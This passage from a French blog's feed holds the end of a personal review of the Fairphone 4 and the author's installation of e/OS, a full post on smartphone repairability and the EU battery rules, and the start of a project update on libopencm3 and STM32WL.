par IA, n'allez pas vous encombrer d'un Fairphone et partez sur un modèle reconditionné/réparé, ça sera moins cher et
plus performant. Et en plus ça fait des déchets en moins !&lt;/p&gt;
&lt;center&gt;&lt;iframe src="https://piaille.fr/@Millennium/110801616286494308/embed" width="800" allowfullscreen="allowfullscreen" sandbox="allow-scripts allow-same-origin allow-popups allow-popups-to-escape-sandbox allow-forms"&gt;&lt;/iframe&gt;&lt;/center&gt;&lt;p&gt;Il y a cependant plusieurs raisons qui ont motivé ma décision de dépenser des sous dans un Fairphone, et en premier
lieu sa conception matérielle. La batterie peut être changée facilement sans avoir à utiliser un pistolet à air chaud,
sans prendre de nombreuses précautions pour ne pas abîmer la coque arrière, et sans avoir à lutter contre du double
face ultra-résistant. Les différents organes peuvent être remplacés sans trop de difficulté, et tout est démontable
avec un tournevis (sauf la coque arrière, qui est clipsée). Je suis assuré de pouvoir l'entretenir pendant des années
et pouvoir remplacer les différents éléments si ceux-ci venaient à tomber en panne.&lt;/p&gt;
&lt;p&gt;M'étant renseigné avant de me lancer, je sais que la configuration matérielle du Fairphone 4 est largement en dessous
de ses concurrents pour la gamme de prix dans laquelle il se trouve (579€), mais pour l'usage que j'ai d'un smartphone
cela me convient parfaitement. Je ne joue pas sur mon smartphone, je consulte les réseaux sociaux de façon régulière
mais non-excessive, je ne fais que très peu de photos ou de vidéos, je l'utilise principalement pour de la messagerie
instantanée (Signal, WhatsApp) et passer des appels (étonnant non ?). Cependant, le prix d'achat proposé par mon opérateur
était plutôt attractif (200€, merci l'ancienneté je suppose), du coup je me suis demandé si cela valait vraiment le
coup de dépenser un tel montant.&lt;/p&gt;
&lt;p&gt;La dernière raison qui m'a motivé à tester le Fairphone est tout simplement que son bootloader est déverrouillable et
qu'il a été pensé pour permettre l'installation de systèmes alternatifs à l'Android de Google. Il y a même un système
d'exploitation dérivé d'AOSP (l'Android Open-Source Project) qui met un point d'honneur à ne pas intégrer les services
de Google ni aucun traceur pouvant porter atteinte à la vie privée, &lt;em&gt;e/OS&lt;/em&gt;. Je ne peux plus déverrouiller le bootloader
de mon Mate 20, Huawei ayant décidé d'arrêter le service (gratuit) qui permettait d'obtenir les codes de déverrouillage
(&lt;a class="reference external" href="https://www.gsmarena.com/huaweis_bootloader_unlock_service_is_being_shut_down-news-31268.php"&gt;Huawei's bootloader unlock service is being shut down, gsmarena.com&lt;/a&gt;).
Bon, entre temps Huawei a été blacklisté par les Etats-Unis et ne peut plus installer d'Android (version Google) sur
ses nouveaux terminaux, mais ça c'est une autre histoire.
Notez bien que d'autres fabricants de smartphone permettent de déverrouiller le bootloader et d'installer un système
d'exploitation alternatif.&lt;/p&gt;
&lt;p&gt;Je me suis donc convaincu que c'était une bonne idée d'investir dans un nouveau smartphone réparable, à batterie
amovible et remplaçable, qui me permettrait de me défaire un peu plus de Google et éviter d'être tracé en ligne
grâce au système &lt;em&gt;e/OS&lt;/em&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="ah-oui-faut-que-je-verifie-si-j-en-ai"&gt;
&lt;h2&gt;&amp;quot;Ah oui, faut que je vérifie si j'en ai ...&amp;quot;&lt;/h2&gt;
&lt;p&gt;C'est ce que m'a dit la personne travaillant dans cette boutique de mon opérateur lorsque j'ai demandé à prendre
un Fairphone 4. Je me doute bien que les personnes voulant vraiment de leur plein gré acheter un Fairphone 4 ne
sont pas légion, du coup j'aurais du m'attendre à ce qu'ils aient un faible stock. Coup de chance, il en restait
un et un seul, donc je n'ai pas trop eu le choix pour la couleur mais sincèrement, c'est le dernier de mes soucis.&lt;/p&gt;
&lt;p&gt;Je demande au passage s'il y a des accessoires pour le protéger, que ce soit des coques ou autre, et elle me répond
que oui. Elle file au rayon des coques et accessoires de protection pour finalement botter en touche: &amp;quot;ah mais pour
ce modèle là on n'a rien du tout en fait, vous savez, c'est pas très courant comme modèle&amp;quot;. Bon, ce n'est pas si
grave, je trouverai bien quelque-chose en ligne me dis-je à ce moment là.&lt;/p&gt;
&lt;p&gt;Elle me demande si je veux avoir une remise si je fais reprendre mon vieux smartphone tout cassé, je lui réponds que
non j'aimerais bien le garder surtout pour la phase de migration des comptes: mon Google Authenticator est en mode
déconnecté et je dois passer par un QR code pour transférer ceux-ci sur le nouveau smartphone, pas question de faire
ça ici en public. Et que je dois faire encore des sauvegardes. Je rentre fièrement chez moi (après m'être soulagé de
200€ du coup) afin de déballer le smartphone. Tiens oui, c'est bizarre dis-donc, elle ne me l'a pas déballé en magasin
comme ils le font d'habitude !&lt;/p&gt;
&lt;p&gt;Me voilà donc à la maison avec ma belle boîte contenant mon Fairphone 4, et la bête intrigue la famille. Dès que je
montre la batterie amovible, les anciens sont conquis: &amp;quot;ah ouaaaaaais, comme mon vieux Nokia de mes 18 ans !&amp;quot;, &amp;quot;mais
c'est trop bien ça, comme ça tu peux changer de batterie quand elle est vide !&amp;quot;, &amp;quot;trop pratique le système de coque
déclipsable&amp;quot;. Je ne m'attendais pas vraiment à ça. Mais il n'aura pas fallu attendre longtemps pour avoir les vraies
premières remarques critiques: &amp;quot;dis-donc, il est vachement épais ton smartphone...&amp;quot;, &amp;quot;c'est vrai qu'il fait un peu
mastoc !&amp;quot;, &amp;quot;tu n'as que deux objectifs photo ?&amp;quot;.&lt;/p&gt;
&lt;p&gt;De mon côté, ma priorité était de trouver une coque de protection et idéalement un verre trempé (pour éviter les rayures
et la casse). Une recherche sur Amazon me donne quelques produits, mais les avis sont très mitigés. Je me décide pour
une coque de protection officielle (40€, ouch !), et un verre trempé compatible qui a de bons avis (environ 12€). Cela
s'ajoute donc à la facture... En attendant, pas question de m'en servir avant qu'il ne soit équipé de ses protections,
je vais donc en profiter pour installer le système d'exploitation.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="l-installation-d-e-os-un-chemin-long-et-tortueux"&gt;
&lt;h2&gt;L'installation d'e/OS, un chemin long et tortueux&lt;/h2&gt;
&lt;p&gt;Côté système d'exploitation, le Fairphone 4 est livré avec &lt;em&gt;FairphoneOS&lt;/em&gt;, une mouture Android comprenant les services
Google et adaptée au Fairphone (si j'ai tout compris). L'objectif étant de se passer de Google sur ce smartphone,
je suis parti en quête de la procédure d'installation de &lt;em&gt;e/OS&lt;/em&gt;. Cela semblait si simple dans la documentation, vous
allez voir que ça a été très long à basculer réellement sur ce système.&lt;/p&gt;
&lt;p&gt;La documentation met en avant ![un nouvel installateur](&lt;a class="reference external" href="https://doc.e.foundation/easy-installer"&gt;https://doc.e.foundation/easy-installer&lt;/a&gt;) pour &lt;em&gt;e/OS&lt;/em&gt; qui se charge
de tout, je décide de le tester. Il est censé détecter automatiquement le smartphone, trouver l'image du système à
installer et vous guider pas à pas sur la procédure à suivre. En effet, il est très bien cet outil, il te prend par la
main et t'explique toutes les étapes ...
jusqu'au &lt;em&gt;fastboot&lt;/em&gt;. Arrivé à cette étape, impossible d'avancer. Le mode fastboot n'est pas détecté, et l'installation
de l'OS ne se lance pas. Je retente l'opération encore et encore, mais ça bloque toujours au même endroit. Je me dis
que ça doit venir de la version de FairphoneOS installée dessus (car oui, j'ai du la configurer au final pour déverrouiller
le bootloader, quelle ironie), et j'applique la dernière mise à jour. Je ne le savais pas à ce moment-là, mais je venais
d'en prendre pour 3 semaines de plus avant de pouvoir basculer à 100% sur &lt;em&gt;e/OS&lt;/em&gt; !&lt;/p&gt;
&lt;p&gt;En effet, le Fairphone 4 est livré avec un bootloader qui possède une fonctionnalité d'anti-rétrogradation de firmware,
un mécanisme conçu par Google pour s'assurer qu'un système reposant sur un ensemble de patchs de sécurité plus ancien que
celui présent ne puisse pas être installé. Enfin si, avec un bootloader déverrouiller vous pouvez très bien l'installer et
démarrer dessus, mais si vous avez le malheur de le verrouiller à nouveau c'est la brique assurée ! Je peux comprendre que
ce soit un mécanisme de sécurité et que c'est très bien de l'avoir, mais il y a un p****n de risque de brickage tout de
même ! Que s'est-il passé quand j'ai installé la mise à jour ? Oh, trois fois rien: le système s'est mis à jour et était
basé sur le patch de sécurité de juin 2023. Sauf que la seule version installable d'&lt;em&gt;e/OS&lt;/em&gt; reposait sur un patch de
sécurité de mai 2023. Impossible de verrouiller le bootloader en état.&lt;/p&gt;
&lt;p&gt;Je décide quand même d'installer &lt;em&gt;e/OS&lt;/em&gt;, mais en passant par la ligne de commande. Il ne me restait juste à faire
l'installation par &lt;em&gt;fastboot&lt;/em&gt;, ce qui n'a pas pris beaucoup de temps au final. Cependant, j'étais dans l'incapacité de
verrouiller à nouveau le bootloader, ce qui posait un risque (faible tout de même) pour les données stockées dessus.
J'ai utilisé le système en l'état pendant mes vacances en juillet, attendant une mise à jour salutaire en provenance
des développeurs d'&lt;em&gt;e/OS&lt;/em&gt; qui serait basée sur le patch de sécurité de juin 2023.&lt;/p&gt;
&lt;p&gt;Une fois rentré de vacances, le graal tant attendu est disponible: une mise à jour de &lt;em&gt;e/OS&lt;/em&gt; pour Fairphone 4 basée sur
le patch de sécurité Android de juin 2023 ! Je n'ai jamais autant transpiré que le moment où j'ai verrouillé à nouveau
mon bootloader. Une fois re-verrouillé, mon smartphone reboote, puis reboote.... Je prends peur, mais non, au second
redémarrage tout est en ordre et &lt;em&gt;e/OS&lt;/em&gt; démarre correctement. Ouf. Mon smartphone est désormais opérationnel avec &lt;em&gt;e/OS&lt;/em&gt;
d'installé et son bootloader à nouveau verrouillé. Mais plus aucune donnée car le verrouillage a tout effacé (j'avais
tout sauvegardé avant bien sûr). J'ai donc du tout réinstaller. Au final, il m'aura fallu attendre 4 semaines avant
d'arriver à cette configuration finale, rien que ça.&lt;/p&gt;
&lt;p&gt;Je m'estime toutefois chanceux car je suis coutumier de ce genre de manipulation sur smartphone, mais si Jean-Michel Noob
rencontre les mêmes problèmes que ceux que j'ai eu, il y a de fortes chances qu'il n'arrive pas à installer le système
ou qu'il bricke son tout nouveau smartphone en voulant s'affranchir du vilain Google.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="mes-impressions-apres-plus-d-un-mois-d-utilisation"&gt;
&lt;h2&gt;Mes impressions après plus d'un mois d'utilisation&lt;/h2&gt;
&lt;p&gt;Le Fairphone 4 donne effectivement cette impression de &amp;quot;gros téléphone lourd&amp;quot;, surtout équipé avec sa coque de protection,
mais je m'y suis fait relativement vite. A chaque fois que j'ai changé de smartphone, c'était pour un modèle plus fin et
plus moderne (pas trop difficile vu que c'est généralement au bout de 4 ou 5 ans). Là j'ai eu l'impression de faire un peu
marche arrière, et de retrouver un smartphone en mode pavé d'antan (il fait quand même 13mm d'épaisseur !). Cependant, le
design est loin d'être horrible, et on retrouve même un semblant de modernité avec la disposition des objectifs photo.&lt;/p&gt;
&lt;p&gt;Côté autonomie, c'est là où j'ai été le plus surpris. J'avais lu ci et là que la batterie semblait un peu faible par
rapport aux concurrents, et que des &lt;em&gt;benchmarks&lt;/em&gt; donnaient environ 12h d'autonomie (11h30 par exemple dans le
&lt;a class="reference external" href="https://www.frandroid.com/marques/fairphone/1177115_test-fairphone-4"&gt;test de Frandroid&lt;/a&gt;). En pratique, avec l'usage
que j'en ai, je tiens assez souvent les deux journées d'utilisation avec une recharge nocturne. La batterie termine
généralement autour de 10%, ce qui n'est pas si mal. A savoir qu'en plus on peut &lt;em&gt;swapper&lt;/em&gt; la batterie facilement,
je m'imagine sans problème l'utiliser à 100% pendant une journée sans risquer d'être à court de batterie, et ce sans
passer par un &lt;em&gt;powerbank&lt;/em&gt; externe. Il manque juste à mon sens un chargeur de batterie externe, pour pouvoir recharger
à la fois celle installée dans le smartphone et une batterie supplémentaire. Concernant la charge, ce n'est pas aussi
rapide qu'avec mon smartphone précédent, mais la charge rapide proposée sur le Fairphone 4 fait le job. Ce n'est pas
exceptionnel, mais on peut recharger de moitié en 35 minutes environ.&lt;/p&gt;
&lt;p&gt;L'écran utilise une technologie LCD et non OLED, ce qui se ressent particulièrement quand on le consulte dehors en plein
soleil, mais il est tout à fait utilisable. Le taux de rafraîchissement de 60 Hz ne m'a absolument pas posé de problème,
vu que je ne joue pas sur mon smartphone et regarde assez peu de vidéos. Mis à part ce souci de luminosité, il me convient
parfaitement.&lt;/p&gt;
&lt;p&gt;Un des points négatifs mis en avant par beaucoup d'évaluations de ce smartphone concerne la photographie. J'avais lu
un certain nombre de critiques sur la qualité des photos du Fairphone 4, et je dois avouer que je suis mitigé quant à
son utilisation. Etant en vacances, j'en ai profité pour faire des photos dans différentes conditions et à ma surprise,
ce n'était pas aussi catastrophique que ce que j'imaginais. Bon, ce n'est pas non plus époustouflant ça j'en conviens
mais ce qui m'a le plus énervé est certainement l'application &lt;em&gt;Appareil Photo&lt;/em&gt; d'&lt;em&gt;e/OS&lt;/em&gt; plutôt que les capacités même
du smartphone. En effet, plusieurs fois il m'a été impossible de prendre des photos: j'appuyais sur le bouton, mais rien,
nada, l'application refusait purement et simplement de prendre la photo. J'ai fini par installer une autre application
et ce problème fut réglé. Côté qualité photo, j'ai réussi à faire des clichés assez sympa je trouve, que ce soit du
paysage ou même en macro (enfin, sur un sujet relativement proche dira-t-on). Ci-après quelques exemples de clichés.&lt;/p&gt;
&lt;img alt="entrée de port ensoleillée" src="/images/fp4/photo1.jpg" style="width: 400px;" /&gt;
&lt;img alt="La mer (encore)" src="/images/fp4/photo2.jpg" style="width: 400px;" /&gt;
&lt;img alt="Le toutou qui joue à rapporter le &amp;quot;bâton&amp;quot;" src="/images/fp4/photo3.jpg" style="width: 400px;" /&gt;
&lt;img alt="Un scarabée qui passait par là, sur un mur" src="/images/fp4/photo4.jpg" style="width: 400px;" /&gt;
&lt;p&gt;Pour ce qui est de téléphoner, cela fonctionne très bien. Je n'ai pas eu de critique de mes interlocuteurs sur la qualité
du son, ce dernier semblant relativement correct quand j'ai essayé l'application Magnétophone (attention, il faut activer
l'option &amp;quot;Enregister en haute qualité&amp;quot; sinon le son est horrible). Les micros ont l'air moins bons que ceux de mon ancien
Mate 20, ma famille se plaignant particulièrement quand je passe en mode haut-parleur (alors qu'avec le Mate 20 je peux
le poser sur la table et tout se passe très bien). Dans l'ensemble et encore une fois pour l'usage que j'en ai, ça fait
l'affaire.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="e-os"&gt;
&lt;h2&gt;&lt;em&gt;e/OS&lt;/em&gt;&lt;/h2&gt;
&lt;p&gt;Le système est vraiment intéressant: non seulement il vous permet de bloquer automatiquement les traceurs (et vous affiche
des statistiques par rapport à ces derniers), mais il propose aussi un magasin d'applications qui propose une note de
confidentialité sur 10 pour chaque application. Il permet d'installer à la fois les applications fournies sur des magasins
d'applications alternatifs aussi bien que celles du &lt;em&gt;Play Store&lt;/em&gt; de Google. Cela permet en un coup d'oeil de savoir si
cette application nécessaire à la gestion de vos comptes bancaires est plus ou moins remplie de traceurs, par exemple.
Vu que les applications Google habituelles ne sont pas fournies avec le système, cela m'a aussi donné l'opportunité de
découvrir des applications alternatives que je n'avais jamais testé: &lt;strong&gt;MagicEarth&lt;/strong&gt; et &lt;strong&gt;NewPipe&lt;/strong&gt; notamment.&lt;/p&gt;
&lt;p&gt;Je suis très satisfait d'&lt;em&gt;e/OS&lt;/em&gt;, l'utilisation est vraiment top et pour le moment je n'ai eu aucun crash ou comportement
bizarre. L'ergonomie est relativement bien pensée, juste peut-être les widgets que j'avais l'habitude de mettre à l'écran
qui ne sont plus présents et que j'aurais bien aimé pouvoir avoir de nouveau.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="en-conclusion"&gt;
&lt;h2&gt;En conclusion&lt;/h2&gt;
&lt;p&gt;Vous l'aurez compris au travers de la lecture de ce billet, je suis très satisfait de mon Fairphone 4 car il convient
totalement à mes besoins et mon usage d'un smartphone. J'ai toutes les applications qu'il me faut, les performances
de la bête sont largement suffisantes pour ce que j'en fait (et c'est la première fois que j'ai 128 Go de stockage !),
bien que la qualité des photos ne soit pas celles d'un smartphone récent incluant de l'I.A. comme c'était le cas de
mon précédent. Cependant, comme le disait l'ami &lt;em&gt;Inforea&lt;/em&gt; &lt;a class="reference external" href="https://twitchfr.social/&amp;#64;inforea/110844172680778779"&gt;dans un de ses pouètes&lt;/a&gt;, si vous voulez faire du montage
sur Tiktok, jouer à des jeux dernier cri, visionner des vidéos en plein soleil ou faire des photos digne d'un appareil
numérique, ce n'est clairement pas ce qu'il vous faut (allez plutôt chercher un smartphone réparé ou reconditionné).&lt;/p&gt;
&lt;p&gt;Si vous vous décidez pour un Fairphone 4, préparez-vous à avoir des options limitées dans les accessoires et à
peut-être batailler pour l'installation d'OS alternatifs. Si vous souhaitez avoir toutes les chances de pouvoir
installer un système d'exploitation autre que &lt;em&gt;FairphoneOS&lt;/em&gt;, évitez absolument d'appliquer une quelconque mise-à-jour
après son achat et prenez le temps pour installer votre nouveau système (attention à l'anti-rollback).&lt;/p&gt;
&lt;p&gt;Je n'ai pas abordé dans ce billet les arguments mis en avant par Fairphone concernant l'environnement et l'origine
des différents matériaux entrant dans la composition du smartphone car il s'agissait principalement d'exposer ce
que je pense du Fairphone 4 sans entrer dans des considérations éthiques.&lt;/p&gt;
&lt;p&gt;Pour ma part, j'ai désormais un smartphone sans services &lt;em&gt;Google&lt;/em&gt;, sans &lt;em&gt;Youtube&lt;/em&gt;, sans &lt;em&gt;Google Maps&lt;/em&gt;, avec &lt;em&gt;Google
Authenticator&lt;/em&gt; en mode déconnecté, qui me permet de consulter mes mails, de discuter sur les réseaux sociaux et de me
tenir informé. Et de regarder quelques vidéos aussi. Il est réparable (sauf la carte mère), son autonomie est top pour
mon usage, et je sais que je peux acheter une batterie supplémentaire au lieu d'investir dans un powerbank de malade.&lt;/p&gt;
&lt;/div&gt;
</content><category term="Humeur"/><category term="humeur"/><category term="smartphone"/><category term="opensource"/><category term="fairphone"/></entry><entry><title>De la réparabilité des bidules high-tech</title><link href="https://virtualabs.fr/humeur/right-to-repair" rel="alternate"/><published>2023-07-10T23:00:00+02:00</published><updated>2023-07-10T23:00:00+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2023-07-10:/humeur/right-to-repair</id><summary type="html">&lt;img alt="Image from Robert Nelson, CC-BY 2.0" src="/images/2023-07-10/broken-smartphone.jpg" /&gt;
&lt;p&gt;Il y a deux jours, quelqu'un a fait tomber mon smartphone fraîchement réparé
(avec un écran tout neuf !) et a cassé ledit écran. J'ai un lot de fissures
qui lézardent son écran à partir du coin supérieur droit, ce qui est pour
moi très désagréable. Et vu que je l'ai …&lt;/p&gt;</summary><content type="html">&lt;img alt="Image from Robert Nelson, CC-BY 2.0" src="/images/2023-07-10/broken-smartphone.jpg" /&gt;
&lt;p&gt;Il y a deux jours, quelqu'un a fait tomber mon smartphone fraîchement réparé
(avec un écran tout neuf !) et a cassé ledit écran. J'ai un lot de fissures
qui lézardent son écran à partir du coin supérieur droit, ce qui est pour
moi très désagréable. Et vu que je l'ai déjà démonté et réparé, je sais que
ça va être une opération risquée: l'arrière de mon smartphone peut casser
(merci le doublage en verre ou similaire), et décoller un écran est toujours
une opération ennuyeuse. Bref, un rappel non-sollicité que réparer un
smartphone est toujours une vraie galère.&lt;/p&gt;
&lt;p&gt;La bonne nouvelle, c'est que le Parlement Européen a adopté le 14 juin 2023 une résolution visant à faciliter le
changement des batteries de smartphones par les utilisateurs, en faisant en sorte
qu'elles puissent être retirées avec des outils couramment disponibles ou des kits
spécifiques mis à disposition gratuitement. Autrement dit, l'usage de colle très
difficile à enlever serait proscrit que ce soit pour sceller les boîtiers des
téléphones ou coller la batterie au chassis, pour le plus grand bonheur des personnes
souhaitant réparer eux-mêmes leurs smartphones. C'est bien, mais c'est loin d'être
suffisant.&lt;/p&gt;
&lt;div class="section" id="plus-fin-plus-petit-plus-joli"&gt;
&lt;h2&gt;Plus fin, plus petit, plus joli&lt;/h2&gt;
&lt;p&gt;Que ce soit pour les smartphones, les tablettes ou les ordinateurs portables,
la tendance est à la miniaturisation afin d'avoir les objets technologiques
les plus fins et jolis grâce à la miniaturisation des composants. Les considérations
esthétiques ont amené les fabricants à préférer la colle aux vis, beaucoup plus
discrète, tandis que l'appétit des consommateurs pour des portables encore plus
fins et bourrés de technologies récentes les ont forcé à intégrer les batteries
au coeur des équipements les rendant de fait très difficiles d'accès. Mais en
faisant de la sorte, le produit fini est lisse comme un galet, tendance, apprécié
pour sa finition. On n'achète plus un smartphone ou une tablette pour le service
qu'il ou elle rend, mais pour son allure et les innovations technologiques qu'ils
embarquent (et elles sont légions).&lt;/p&gt;
&lt;p&gt;Ces choix de conception ont toutefois un impact non-négligeable sur la réparabilité
de ces équipements. La face arrière de smartphone en verre (ou simili-verre) est
super jolie, mais cela casse à la moindre tentative d'ouverture avec des outils
inadaptés ou lorsque la personne qui opère n'a pas le coup de main requis. La
batterie collée est une horreur à décoller sans solvant, opération qui est par
ailleurs risquée en cas de perforation malencontreuse de la-dite batterie. Il
faut désormais être relativement bien outillé pour pouvoir ouvrir un smartphone
de dernière génération: pistolet à air chaud, outils très fins pour décoller la
colle, ventouses diverses pour retirer les faces arrières, etc. Et cela n'ira pas
en s'arrangeant, même si les constructeurs se conforment aux exigences européennes.&lt;/p&gt;
&lt;p&gt;En effet, il n'ont qu'à mettre à disposition des kits difficiles d'utilisation,
et rejetteront la faute sur les utilisateurs en cas de mauvaise manipulation et
de dommages causés par ces derniers à leurs équipements. Apple fournit par
exemple ce genre de kit, qui ont pour méchante réputation d'être complexes à
utiliser.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="le-retour-des-vis-trappes-et-clips"&gt;
&lt;h2&gt;Le retour des vis, trappes et clips ?&lt;/h2&gt;
&lt;p&gt;Il est loin le temps où il suffisait de retirer quelques vis pour accéder aux
entrailles d'un smartphone, ou tout simplement de déclipser la face arrière
pour remplacer très simplement une batterie. Il ne faut pas se voiler la face:
un smartphone ou une tablette favorisant la réparabilité sera obligatoirement
moins fin et moins joli que les concurrents, mais sera plus durable et plus
facile d'entretien. Mais moins joli. Donc moins vendable.&lt;/p&gt;
&lt;p&gt;Prenez le &lt;a class="reference external" href="https://shop.fairphone.com/fr/"&gt;Fairphone 4&lt;/a&gt; par exemple. On est loin du modèle super fin et très
performant (un peu plus de 10 millimètres d'épaisseur contre 7,8mm pour le
dernier iPhone), mais la coque arrière est clipsée et le reste tient avec
des vis. Sa batterie n'est pas collée et peut être changée assez simplement.
Les pièces détachées sont elles aussi disponibles à l'achat et autrement que
via AliExpress. L'ensemble est pensé pour être démontable, démonté et réparé.&lt;/p&gt;
&lt;p&gt;Mais ce n'est pas la seule initiative de ce type. Côté laptop, &lt;a class="reference external" href="https://frame.work/fr/fr"&gt;Framework&lt;/a&gt;
propose des ordinateurs réparables, customisables, avec ce qui ressemble à
des mécanismes assez ingénieux pour l'assemblage des différents composants.
De fait, l'ensemble est un ordinateur portable modulaire qui facilite grandement
le remplacement des différents modules, et indirectement sa réparabilité.
Changer un disque dur, une batterie ou la RAM devient simple et ne nécessite
pas un diplôme d'ingénieur ni de grande expérience.&lt;/p&gt;
&lt;p&gt;Et ce ne serait pas un luxe, quand on voit la consommation actuelle de smartphone
et son impact sur l'environnement ou la disponibilité des ressources.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="le-grand-gaspillage"&gt;
&lt;h2&gt;Le grand gaspillage&lt;/h2&gt;
&lt;p&gt;Les bidules électroniques que sont nos ordinateurs et smartphones (qui rappelons-le, sont
eux aussi de véritables ordinateurs de poche) sont renouvelés à une vitesse folle, sous
prétexte d'évolutions technologiques majeures ou d'obsolescence. Nous les renouvellons
en moyenne tous les 2 ans et demi, car ces derniers ont vainement résisté au temps. Les
différentes chutes, poches inamicales, la poussière et les différents liquides auxquels
ils sont exposés finissent par en venir à bout et les envoyer à la décharge. Un écran
cassé, c'est l'occasion de renouveler son smartphone !&lt;/p&gt;
&lt;p&gt;Et forcément, plus le smartphone est récent et plus la note du remplacement de son écran
tactile ou de la face arrière sera salée, les modèles derniers cris ayant subi les affres
de l'évolution technologique et de la miniaturisation. Il est dès lors moins coûteux d'en
changer que de le réparer. Ce qui est bien dommage, car ils peuvent facilement durer entre
6 et 8 ans sans être totalement périmés (que ce soit côté matériel ou logiciel).
&lt;strong&gt;La question est donc posée: que gagne-t-on aujourd'hui à renouveler systématiquement son
smartphone (et sa tablette ou son ordinateur portable dans une moindre mesure) ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;D'un point de vue technique, à moins de jouer à des jeux très gourmands en CPU et mémoire
vive il n'y a que peu d'évolution en terme de performances. Si vous surfez sur Internet,
consultez vos mails ou vos applications de messagerie, cela ne va pas être révolutionnaire.
Le changement va plus être motivé par l'attrait d'une hype du moment (tiens, ça serait bien
d'avoir un smartphone avec un écran pliable), par un effet de mode (le fait de posséder
le dernier &lt;em&gt;iTruc&lt;/em&gt; montre qu'on est à la page) ou pour appartenir à un groupe en particulier
(celui de ceux qui ont des beaux &lt;em&gt;iTrucs&lt;/em&gt; tout récent qui font des photos de malade). Ce
qui constitue d'un point de vue très pragmatique des raisons non-techniques qui vont motiver
l'achat ou le changement. Raisons qui sont attisées par du marketing bien ciblé qui crée un
besoin tout relatif.&lt;/p&gt;
&lt;p&gt;Cependant, il y a une raison très valable de le faire: l'obsolescence des OS installés sur
les smartphones et leur maintien par les constructeurs. Ces derniers livrent leurs modèles
avec des versions &lt;em&gt;customisées&lt;/em&gt; d'Android, et peuvent décider de ne plus assurer la maintenance
des systèmes des anciens modèles, les rendant vulnérables à différentes attaques qui
pourraient être découvertes après l'arrêt du support. Et exposant potentiellement leurs
utilisateurs à des &lt;em&gt;malwares&lt;/em&gt;, à la compromission de leurs terminaux et des données qu'ils
contiennent. Pas glop. A noter qu'Apple fait figure de modèle en maintenant le système de
la plupart de ses terminaux pendant plusieurs années, battant à plate couture la plupart
des constructeurs fournissant des terminaux sous Android.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Et tout cela produit malgré tout des tonnes de déchets électroniques qui sont encore mal recyclés et
un gaspillage de ressources dont des terres rares (gallium, tantale, yttrium, etc.). Pas glop.&lt;/strong&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="il-faudrait-en-faire-un-peu-plus"&gt;
&lt;h2&gt;Il faudrait en faire un peu plus&lt;/h2&gt;
&lt;p&gt;La décision de Parlement Européen est un bon début, bien que peu coercitif vis-à-vis des
constructeurs qui pourront contourner plus ou moins difficilement cette dernière. On peut
toutefois espérer voir apparaître certains modèles mieux pensés pour faciliter les réparations,
mais il faudra faire un choix lors de l'achat ou du renouvellement du smartphone.&lt;/p&gt;
&lt;p&gt;Côté système d'exploitation et le support des anciens modèles, aucune obligation pour les
constructeurs de fournir des mises-à-jour pendant une certaine durée n'est dans les cartons
et les consommateurs qui souhaitent utiliser leur smartphone pendant plusieurs années (plus
que la durée de support du système) se verront contraints soit d'utiliser un système potentiellement
vulnérable soit d'installer un système alternatif quand cela est possible.&lt;/p&gt;
&lt;p&gt;De mon côté, quand mon smartphone aura définitivement rendu l'âme (si le matériel me lâche ou si
le système d'exploitation n'est plus maintenu) je pense sincèrement essayer un Fairphone au vu
de mes usages (je ne suis pas un grand fan des &lt;em&gt;iTrucs&lt;/em&gt;), qui aux dernières nouvelles &lt;a class="reference external" href="https://arstechnica.com/gadgets/2023/07/fairphone-3-gets-seven-years-of-updates-besting-every-other-android-oem/"&gt;arrivait à
rivaliser avec Apple quant à la durée du support de ses systèmes&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;En attendant, je vais devoir m'atteler au changement de l'écran, en sachant pertinemment que ça
va me prendre facilement entre 30 et 45 minutes et pas mal d'alcool isopropylique pour nettoyer
toute la colle...&lt;/p&gt;
&lt;/div&gt;
</content><category term="Humeur"/><category term="humeur"/><category term="réparation"/><category term="smartphone"/><category term="laptop"/></entry><entry><title>Projets en cours, conférences et Mastodon</title><link href="https://virtualabs.fr/humeur/projets-2023-confs-mastodon" rel="alternate"/><published>2023-04-02T23:00:00+02:00</published><updated>2023-04-02T23:00:00+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2023-04-02:/humeur/projets-2023-confs-mastodon</id><summary type="html">&lt;p&gt;C'est l'heure de faire un point sur les projets en cours, les trucs à venir et la bascule Twitter vers Mastodon. C'est
aussi l'occasion pour moi de rédiger le premier billet de blog de 2023, parce que bon tout le monde sait que je n'en
écris que 3 ou 4 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;C'est l'heure de faire un point sur les projets en cours, les trucs à venir et la bascule Twitter vers Mastodon. C'est
aussi l'occasion pour moi de rédiger le premier billet de blog de 2023, parce que bon tout le monde sait que je n'en
écris que 3 ou 4 par an. Allez hop, on commence par les projets en cours.&lt;/p&gt;
&lt;div class="section" id="les-projets-avancent-doucement"&gt;
&lt;h2&gt;Les projets avancent (doucement)&lt;/h2&gt;
&lt;p&gt;Depuis janvier 2023, j'ai décidé de me focaliser sur seulement deux projets à la fois histoire de ne pas trop me disperser.
Le premier projet concerne l'ajout du support des micro-contrôleurs de la série STM32WLxx dans la bibliothèque
&lt;a class="reference external" href="https://libopencm3.org/"&gt;libopencm3&lt;/a&gt; (y compris de leur transceiver sub-GHz intégré), et ce dernier avance bien. Après
avoir perdu un temps considérable à déboguer la communication entre le transceiver et le CPU principal (via l'achat d'une
carte de développement dédiée permettant cela), j'ai enfin réussi à implémenter les primitives permettant l'envoi et la
réception de trames LoRa et entamé le développement d'un driver dédié aux communications sans-fil pour ce type de
micro-contrôleurs. Le développement de ce dernier est toujours en cours, mais cela devrait aboutier assez rapidement à
quelque-chose d'utilisable (bien qu'améliorable). La partie la plus longue consistera à bien intégrer tout ce code selon les règles
de coding du projet libopencm3, et soumettre mes modifications aux développeurs afin que tout ce boulot d'intégration
